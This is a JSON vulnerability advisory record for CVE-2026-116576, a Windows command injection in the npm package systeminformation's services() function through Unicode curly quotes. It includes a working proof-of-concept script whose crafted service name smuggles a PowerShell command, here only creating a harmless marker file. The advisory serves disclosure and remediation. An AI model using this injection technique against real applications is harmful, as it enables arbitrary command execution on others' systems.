{"id":"CVE-2026-116576","aliases":["GHSA-3f7j-7jwc-fxfj"],"url":"https://o3.security/vulnerability/CVE-2026-116576","summary":"systeminformation: Windows command injection in services() through Unicode quotation marks","details":"### Summary\n\nOn Windows, `systeminformation@5.33.15` builds a PowerShell command using the value passed to `services()`. The default sanitizer removes ASCII quotes but keeps Unicode curly quotes, spaces, and parentheses. A crafted service name can use those characters to break out of the generated filter string and run a PowerShell expression. The expression runs with the permissions of the Node.js process.\n\nThis report confirms version `5.33.15`. Other package versions have not been checked.\n\n### Details\n\nIn `lib/processes.js`, `services()` sanitizes the caller's string with `sanitizeShellString()` and later inserts each resulting name into a `Get-CimInstance Win32_Service -Filter` command. The Windows branch passes that command to `util.powerShell()`.\n\nThe sanitizer in `lib/util.js` removes the ASCII double quote, but it does not remove U+201C or U+201D, the left and right curly double quotation marks. It also permits spaces and parentheses when called in its default, non-strict mode. PowerShell accepts the curly marks as string delimiters, so an input can end the filter string and place a command expression in the generated command.\n\nFor example, the input below uses curly quotation marks to end the generated filter string and execute `New-Item`. I reproduced this call on Windows against the checked-out `systeminformation@5.33.15` source; it created a marker file with the Node.js process account.\n\n### Proof of concept\n\nRun this on Windows in a disposable directory with Node.js and PowerShell available:\n\n```powershell\nmkdir si-command-injection-repro\ncd si-command-injection-repro\nnpm init -y\nnpm install systeminformation@5.33.15\n```\n\nSave the following as `poc.cjs`, then run `node poc.cjs`:\n\n```js\n'use strict';\n\nconst fs = require('node:fs');\nconst path = require('node:path');\nconst si = require('systeminformation');\n\n(async () => {\n  const markerName = `si-injection-${process.pid}.txt`;\n  const markerPath = path.join(process.cwd(), markerName);\n  fs.rmSync(markerPath, { force: true });\n\n  try {\n    await si.services(`not-a-service” (New-Item -Name ${markerName} -ItemType File -Force) “`);\n    console.log(`markerCreated=${fs.existsSync(markerPath)}`);\n  } finally {\n    fs.rmSync(markerPath, { force: true });\n  }\n})().catch((error) => {\n  console.error(error);\n  process.exitCode = 1;\n});\n```\n\nExpected output:\n\n```text\nmarkerCreated=true\n```\n\nThe Windows run returned an array and created the marker (`markerCreated: true`). A benign input left the marker absent. The script removes the marker afterward. I did not identify an application network route that forwards remote input to `services()`, so remote exploitability depends on the consuming application.\n\n### Impact\n\nAn application that passes attacker-controlled input to `services()` on Windows can execute PowerShell commands with the Node.js process account's permissions. Depending on that account, commands may read or change accessible files, alter application data, or disrupt the service. I searched this repository for HTTP servers, route handlers, and listener calls and found none. `services()` is exposed through the package API and `getDynamicData()`, so a consuming application could make the input network-reachable if it forwards request data. A separate loopback HTTP harness did trigger the command through a query parameter, but that server was test code and is not part of this repository. The project's `docs/security.html` already warns that arbitrary untrusted input to `services()` needs caution because package sanitization does not cover every case.","published":"2026-10-26T20:18:33.224Z","modified":"2026-10-28T02:59:29.605929242Z","cvss":{"score":7.8,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"systeminformation","fixedVersion":"5.33.16"}],"fix":{"url":"https://github.com/sebhildebrandt/systeminformation/commit/5014c6d25cfce7363b937977327baa853cdba0bf","label":"sebhildebrandt/systeminformation@5014c6d"},"references":[{"type":"WEB","url":"https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.16"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/116xxx/CVE-2026-116576.json"},{"type":"ADVISORY","url":"https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-3f7j-7jwc-fxfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116576"},{"type":"FIX","url":"https://github.com/sebhildebrandt/systeminformation/commit/5014c6d25cfce7363b937977327baa853cdba0bf"},{"type":"PACKAGE","url":"https://github.com/sebhildebrandt/systeminformation"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:59:29.605929242Z"}}